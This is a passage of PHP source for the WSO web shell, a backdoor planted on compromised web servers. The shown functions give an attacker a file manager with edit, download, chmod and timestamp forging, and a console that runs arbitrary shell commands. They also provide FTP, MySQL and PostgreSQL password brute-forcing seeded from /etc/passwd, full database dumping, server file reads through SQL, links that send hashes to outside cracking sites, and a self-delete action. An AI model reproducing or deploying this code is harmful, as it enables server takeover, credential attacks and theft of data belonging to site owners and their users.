653.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
654$l = $l?0:1;
655}
656echo "<tr><td colspan=7>
657<input type=hidden name=a value='FilesMan'>
658<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
659<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
660<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
661if(class_exists('ZipArchive'))
662echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
663echo "<option value='tar'>Compress (tar.gz)</option>";
664if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
665echo "<option value='paste'>Paste / Compress</option>";
666echo "</select> ";
667if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
668echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
669echo "<input type='submit' value='>>'></td></tr></form></table></div>";
670wsoFooter();
671}
672function actionStringTools() {
673if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
674if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
675if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
676if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
677if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
678$stringTools = array(
679'Base64 encode' => 'base64_encode',
680'Base64 decode' => 'base64_decode',
681'Url encode' => 'urlencode',
682'Url decode' => 'urldecode',
683'Full urlencode' => 'full_urlencode',
684'md5 hash' => 'md5',
685'sha1 hash' => 'sha1',
686'crypt' => 'crypt',
687'CRC32' => 'crc32',
688'ASCII to HEX' => 'ascii2hex',
689'HEX to ASCII' => 'hex2ascii',
690'HEX to DEC' => 'hexdec',
691'HEX to BIN' => 'hex2bin',
692'DEC to HEX' => 'dechex',
693'DEC to BIN' => 'decbin',
694'BIN to HEX' => 'binhex',
695'BIN to DEC' => 'bindec',
696'String to lower case' => 'strtolower',
697'String to upper case' => 'strtoupper',
698'Htmlspecialchars' => 'htmlspecialchars',
699'String length' => 'strlen',
700);
701if(isset($_POST['ajax'])) {
702WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
703ob_start();
704if(in_array($_POST['p1'], $stringTools))
705echo $_POST['p1']($_POST['p2']);
706$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
707echo strlen($temp), "\n", $temp;
708exit;
709}
710if(empty($_POST['ajax'])&&!empty($_POST['p1']))
711WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
712wsoHeader();
713echo '<h1>String conversions</h1><div class=content>';
714echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
715foreach($stringTools as $k => $v)
716echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
717echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
718if(!empty($_POST['p1'])) {
719if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
720}
721echo"</pre></div><br><h1>Search files:</h1><div class=content>
722<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
723<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
724<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
725<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
726<tr><td></td><td><input type='submit' value='>>'></td></tr>
727</table></form>";
728function wsoRecursiveGlob($path) {
729if(substr($path, -1) != '/')
730$path.='/';
731$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
732if(is_array($paths)&&@count($paths)) {
733foreach($paths as $item) {
734if(@is_dir($item)){
735if($path!=$item)
736wsoRecursiveGlob($item);
737} else {
738if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
739echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
740}
741}
742}
743}
744if(@$_POST['p3'])
745wsoRecursiveGlob($_POST['c']);
746echo "</div><br><h1>Search for hash:</h1><div class=content>
747<form method='post' target='_blank' name='hf'>
748<input type='text' name='hash' style='width:200px;'><br>
749<input type='hidden' name='act' value='find'/>
750<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
751<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
752<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
753</form></div>";
754wsoFooter();
755}
756function actionFilesTools() {
757if( isset($_POST['p1']) )
758$_POST['p1'] = urldecode($_POST['p1']);
759if(@$_POST['p2']=='download') {
760if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
761ob_start("ob_gzhandler", 4096);
762header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
763if (function_exists("mime_content_type")) {
764$type = @mime_content_type($_POST['p1']);
765header("Content-Type: " . $type);
766} else
767header("Content-Type: application/octet-stream");
768$fp = @fopen($_POST['p1'], "r");
769if($fp) {
770while(!@feof($fp))
771echo @fread($fp, 1024);
772fclose($fp);
773}
774}exit;
775}
776if( @$_POST['p2'] == 'mkfile' ) {
777if(!file_exists($_POST['p1'])) {
778$fp = @fopen($_POST['p1'], 'w');
779if($fp) {
780$_POST['p2'] = "edit";
781fclose($fp);
782}
783}
784}
785wsoHeader();
786echo '<h1>File tools</h1><div class=content>';
787if( !file_exists(@$_POST['p1']) ) {
788echo 'File not exists';
789wsoFooter();
790return;
791}
792$uid = @posix_getpwuid(@fileowner($_POST['p1']));
793if(!$uid) {
794$uid['name'] = @fileowner($_POST['p1']);
795$gid['name'] = @filegroup($_POST['p1']);
796} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
797echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
798echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
799if( empty($_POST['p2']) )
800$_POST['p2'] = 'view';
801if( is_file($_POST['p1']) )
802$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
803else
804$m = array('Chmod', 'Rename', 'Touch');
805foreach($m as $v)
806echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
807echo '<br><br>';
808switch($_POST['p2']) {
809case 'view':
810echo '<pre class=ml1>';
811$fp = @fopen($_POST['p1'], 'r');
812if($fp) {
813while( !@feof($fp) )
814echo htmlspecialchars(@fread($fp, 1024));
815@fclose($fp);
816}
817echo '</pre>';
818break;
819case 'highlight':
820if( @is_readable($_POST['p1']) ) {
821echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
822$code = @highlight_file($_POST['p1'],true);
823echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
824}
825break;
826case 'chmod':
827if( !empty($_POST['p3']) ) {
828$perms = 0;
829for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
830$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
831if(!@chmod($_POST['p1'], $perms))
832echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
833}
834clearstatcache();
835echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
836break;
837case 'edit':
838if( !is_writable($_POST['p1'])) {
839echo 'File isn\'t writeable';
840break;
841}
842if( !empty($_POST['p3']) ) {
843$time = @filemtime($_POST['p1']);
844$_POST['p3'] = substr($_POST['p3'],1);
845$fp = @fopen($_POST['p1'],"w");
846if($fp) {
847@fwrite($fp,$_POST['p3']);
848@fclose($fp);
849echo 'Saved!<br><script>p3_="";</script>';
850@touch($_POST['p1'],$time,$time);
851}
852}
853echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
854$fp = @fopen($_POST['p1'], 'r');
855if($fp) {
856while( !@feof($fp) )
857echo htmlspecialchars(@fread($fp, 1024));
858@fclose($fp);
859}
860echo '</textarea><input type=submit value=">>"></form>';
861break;
862case 'hexdump':
863$c = @file_get_contents($_POST['p1']);
864$n = 0;
865$h = array('00000000<br>','','');
866$len = strlen($c);
867for ($i=0; $i<$len; ++$i) {
868$h[1] .= sprintf('%02X',ord($c[$i])).' ';
869switch ( ord($c[$i]) ) {
870case 0: $h[2] .= ' '; break;
871case 9: $h[2] .= ' '; break;
872case 10: $h[2] .= ' '; break;
873case 13: $h[2] .= ' '; break;
874default: $h[2] .= $c[$i]; break;
875}
876$n++;
877if ($n == 32) {
878$n = 0;
879if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
880$h[1] .= '<br>';
881$h[2] .= "\n";
882}
883}
884echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
885break;
886case 'rename':
887if( !empty($_POST['p3']) ) {
888if(!@rename($_POST['p1'], $_POST['p3']))
889echo 'Can\'t rename!<br>';
890else
891die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
892}
893echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
894break;
895case 'touch':
896if( !empty($_POST['p3']) ) {
897$time = strtotime($_POST['p3']);
898if($time) {
899if(!touch($_POST['p1'],$time,$time))
900echo 'Fail!';
901else
902echo 'Touched!';
903} else echo 'Bad time format!';
904}
905clearstatcache();
906echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
907break;
908}
909echo '</div>';
910wsoFooter();
911}
912function actionConsole() {
913if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
914WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
915$_POST['p1'] .= ' 2>&1';
916} elseif(!empty($_POST['p1']))
917WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
918if(isset($_POST['ajax'])) {
919WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
920ob_start();
921echo "d.cf.cmd.value='';\n";
922$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
923if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
924if(@chdir($match[1])) {
925$GLOBALS['cwd'] = @getcwd();
926echo "c_='".$GLOBALS['cwd']."';";
927}
928}
929echo "d.cf.output.value+='".$temp."';";
930echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
931$temp = ob_get_clean();
932echo strlen($temp), "\n", $temp;
933exit;
934}
935if(empty($_POST['ajax'])&&!empty($_POST['p1']))
936WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
937wsoHeader();
938echo "<script>
939if(window.Event) window.captureEvents(Event.KEYDOWN);
940var cmds = new Array('');
941var cur = 0;
942function kp(e) {
943var n = (window.Event) ? e.which : e.keyCode;
944if(n == 38) {
945cur--;
946if(cur>=0)
947document.cf.cmd.value = cmds[cur];
948else
949cur++;
950} else if(n == 40) {
951cur++;
952if(cur < cmds.length)
953document.cf.cmd.value = cmds[cur];
954else
955cur--;
956}
957}
958function add(cmd) {
959cmds.pop();
960cmds.push(cmd);
961cmds.push('');
962cur = cmds.length-1;
963}
964</script>";
965echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
966foreach($GLOBALS['aliases'] as $n => $v) {
967if($v == '') {
968echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
969continue;
970}
971echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
972}
973echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
974if(!empty($_POST['p1'])) {
975echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
976}
977echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
978echo '</form></div><script>d.cf.cmd.focus();</script>';
979wsoFooter();
980}
981function actionLogout() {
982setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
983die('bye!');
984}
985function actionSelfRemove() {
986if($_POST['p1'] == 'yes')
987if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
988die('Shell has been removed');
989else
990echo 'unlink error!';
991if($_POST['p1'] != 'yes')
992wsoHeader();
993echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
994wsoFooter();
995}
996function actionBruteforce() {
997wsoHeader();
998if( isset($_POST['proto']) ) {
999echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1000if( $_POST['proto'] == 'ftp' ) {
1001function wsoBruteForce($ip,$port,$login,$pass) {
1002$fp = @ftp_connect($ip, $port?$port:21);
1003if(!$fp) return false;
1004$res = @ftp_login($fp, $login, $pass);
1005@ftp_close($fp);
1006return $res;
1007}
1008} elseif( $_POST['proto'] == 'mysql' ) {
1009function wsoBruteForce($ip,$port,$login,$pass) {
1010$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1011@mysql_close($res);
1012return $res;
1013}
1014} elseif( $_POST['proto'] == 'pgsql' ) {
1015function wsoBruteForce($ip,$port,$login,$pass) {
1016$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1017$res = @pg_connect($str);
1018@pg_close($res);
1019return $res;
1020}
1021}
1022$success = 0;
1023$attempts = 0;
1024$server = explode(":", $_POST['server']);
1025if($_POST['type'] == 1) {
1026$temp = @file('/etc/passwd');
1027if( is_array($temp) )
1028foreach($temp as $line) {
1029$line = explode(":", $line);
1030++$attempts;
1031if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1032$success++;
1033echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1034}
1035if(@$_POST['reverse']) {
1036$tmp = "";
1037for($i=strlen($line[0])-1; $i>=0; --$i)
1038$tmp .= $line[0][$i];
1039++$attempts;
1040if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1041$success++;
1042echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1043}
1044}
1045}
1046} elseif($_POST['type'] == 2) {
1047$temp = @file($_POST['dict']);
1048if( is_array($temp) )
1049foreach($temp as $line) {
1050$line = trim($line);
1051++$attempts;
1052if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1053$success++;
1054echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1055}
1056}
1057}
1058echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1059}
1060echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1061.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1062.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1063.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1064.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1065.'<span>Server:port</span></td>'
1066.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1067.'<tr><td><span>Brute type</span></td>'
1068.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1069.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1070.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1071.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1072.'<td><input type=text name=login value="root"></td></tr>'
1073.'<tr><td><span>Dictionary</span></td>'
1074.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1075.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1076echo '</div><br>';
1077wsoFooter();
1078}
1079function actionSql() {
1080class DbClass {
1081var $type;
1082var $link;
1083var $res;
1084function DbClass($type) {
1085$this->type = $type;
1086}
1087function connect($host, $user, $pass, $dbname){
1088switch($this->type) {
1089case 'mysql':
1090if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1091break;
1092case 'pgsql':
1093$host = explode(':', $host);
1094if(!$host[1]) $host[1]=5432;
1095if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1096break;
1097}
1098return false;
1099}
1100function selectdb($db) {
1101switch($this->type) {
1102case 'mysql':
1103if (@mysql_select_db($db))return true;
1104break;
1105}
1106return false;
1107}
1108function query($str) {
1109switch($this->type) {
1110case 'mysql':
1111return $this->res = @mysql_query($str);
1112break;
1113case 'pgsql':
1114return $this->res = @pg_query($this->link,$str);
1115break;
1116}
1117return false;
1118}
1119function fetch() {
1120$res = func_num_args()?func_get_arg(0):$this->res;
1121switch($this->type) {
1122case 'mysql':
1123return @mysql_fetch_assoc($res);
1124break;
1125case 'pgsql':
1126return @pg_fetch_assoc($res);
1127break;
1128}
1129return false;
1130}
1131function listDbs() {
1132switch($this->type) {
1133case 'mysql':
1134return $this->query("SHOW databases");
1135break;
1136case 'pgsql':
1137return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1138break;
1139}
1140return false;
1141}
1142function listTables() {
1143switch($this->type) {
1144case 'mysql':
1145return $this->res = $this->query('SHOW TABLES');
1146break;
1147case 'pgsql':
1148return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1149break;
1150}
1151return false;
1152}
1153function error() {
1154switch($this->type) {
1155case 'mysql':
1156return @mysql_error();
1157break;
1158case 'pgsql':
1159return @pg_last_error();
1160break;
1161}
1162return false;
1163}
1164function setCharset($str) {
1165switch($this->type) {
1166case 'mysql':
1167if(function_exists('mysql_set_charset'))
1168return @mysql_set_charset($str, $this->link);
1169else
1170$this->query('SET CHARSET '.$str);
1171break;
1172case 'pgsql':
1173return @pg_set_client_encoding($this->link, $str);
1174break;
1175}
1176return false;
1177}
1178function loadFile($str) {
1179switch($this->type) {
1180case 'mysql':
1181return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1182break;
1183case 'pgsql':
1184$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1185$r=array();
1186while($i=$this->fetch())
1187$r[] = $i['file'];
1188$this->query('drop table wso2');
1189return array('file'=>implode("\n",$r));
1190break;
1191}
1192return false;
1193}
1194function dump($table, $fp = false) {
1195switch($this->type) {
1196case 'mysql':
1197$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1198$create = mysql_fetch_array($res);
1199$sql = $create[1].";\n";
1200if($fp) fwrite($fp, $sql); else echo($sql);
1201$this->query('SELECT * FROM `'.$table.'`');
1202$i = 0;
1203$head = true;
1204while($item = $this->fetch()) {
1205$sql = '';
1206if($i % 1000 == 0) {
1207$head = true;
1208$sql = ";\n\n";
1209}
1210$columns = array();
1211foreach($item as $k=>$v) {
1212if($v === null)
1213$item[$k] = "NULL";
1214elseif(is_int($v))
1215$item[$k] = $v;
1216else
1217$item[$k] = "'".@mysql_real_escape_string($v)."'";
1218$columns[] = "`".$k."`";
1219}
1220if($head) {
1221$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1222$head = false;
1223} else
1224$sql .= "\n\t,(".implode(", ", $item).')';
1225if($fp) fwrite($fp, $sql); else echo($sql);
1226$i++;
1227}
1228if(!$head)
1229if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1230break;
1231case 'pgsql':
1232$this->query('SELECT * FROM '.$table);
1233while($item = $this->fetch()) {
1234$columns = array();
1235foreach($item as $k=>$v) {
1236$item[$k] = "'".addslashes($v)."'";
1237$columns[] = $k;
1238}
1239$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1240if($fp) fwrite($fp, $sql); else echo($sql);
1241}
1242break;
1243}
1244return false;
1245}
1246};
1247$db = new DbClass($_POST['type']);
1248if(@$_POST['p2']=='download') {
1249$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1250$db->selectdb($_POST['sql_base']);
1251switch($_POST['charset']) {
1252case "Windows-1251": $db->setCharset('cp1251'); break;
1253case "UTF-8": $db->setCharset('utf8'); break;
1254case "KOI8-R": $db->setCharset('koi8r'); break;
1255case "KOI8-U": $db->setCharset('koi8u'); break;
1256case "cp866": $db->setCharset('cp866'); break;
1257}
1258if(empty($_POST['file'])) {
1259ob_start("ob_gzhandler", 4096);
1260header("Content-Disposition: attachment; filename=dump.sql");
1261header("Content-Type: text/plain");
1262foreach($_POST['tbl'] as $v)
1263$db->dump($v);
1264exit;
1265} elseif($fp = @fopen($_POST['file'], 'w')) {
1266foreach($_POST['tbl'] as $v)
1267$db->dump($v, $fp);
1268fclose($fp);
1269unset($_POST['p2']);
1270} else
1271die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1272}
1273wsoHeader();
1274echo "
1275<h1>Sql browser</h1><div class=content>
1276<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1277<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1278<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1279<td><select name='type'><option value='mysql' ";
1280if(@$_POST['type']=='mysql')echo 'selected';
1281echo ">MySql</option><option value='pgsql' ";
1282if(@$_POST['type']=='pgsql')echo 'selected';
1283echo ">PostgreSql</option></select></td>
1284<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1285<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1286<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1287$tmp = "<input type=text name=sql_base value=''>";
1288if(isset($_POST['sql_host'])){
1289if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1290switch($_POST['charset']) {
1291case "Windows-1251": $db->setCharset('cp1251'); break;
1292case "UTF-8": $db->setCharset('utf8'); break;
1293case "KOI8-R": $db->setCharset('koi8r'); break;
1294case "KOI8-U": $db->setCharset('koi8u'); break;
1295case "cp866": $db->setCharset('cp866'); break;
1296}
1297$db->listDbs();
1298echo "<select name=sql_base><option value=''></option>";
1299while($item = $db->fetch()) {
1300list($key, $value) = each($item);
1301echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1302}
1303echo '</select>';
1304}
1305else echo $tmp;
1306}else
1307echo $tmp;
1308echo "</td>
1309<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1310<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1311</tr>
1312</table>
1313<script>
1314s_db='".@addslashes($_POST['sql_base'])."';
1315function fs(f) {
1316if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1317if(f.p1) f.p1.value='';
1318if(f.p2) f.p2.value='';
1319if(f.p3) f.p3.value='';
1320}
1321}
1322function st(t,l) {
1323d.sf.p1.value = 'select';
1324d.sf.p2.value = t;
1325if(l && d.sf.p3) d.sf.p3.value = l;
1326d.sf.submit();
1327}
1328function is() {
1329for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1330d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1331}
1332</script>";
1333if(isset($db) && $db->link){
1334echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1335if(!empty($_POST['sql_base'])){
1336$db->selectdb($_POST['sql_base']);
1337echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1338$tbls_res = $db->listTables();
1339while($item = $db->fetch($tbls_res)) {
1340list($key, $value) = each($item);
1341if(!empty($_POST['sql_count']))
1342$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1343$value = htmlspecialchars($value);
1344echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1345}
1346echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1347if(@$_POST['p1'] == 'select') {
1348$_POST['p1'] = 'query';
1349$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1350$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1351$num = $db->fetch();
1352$pages = ceil($num['n'] / 30);
1353echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1354echo " of $pages";
1355if($_POST['p3'] > 1)
1356echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1357if($_POST['p3'] < $pages)
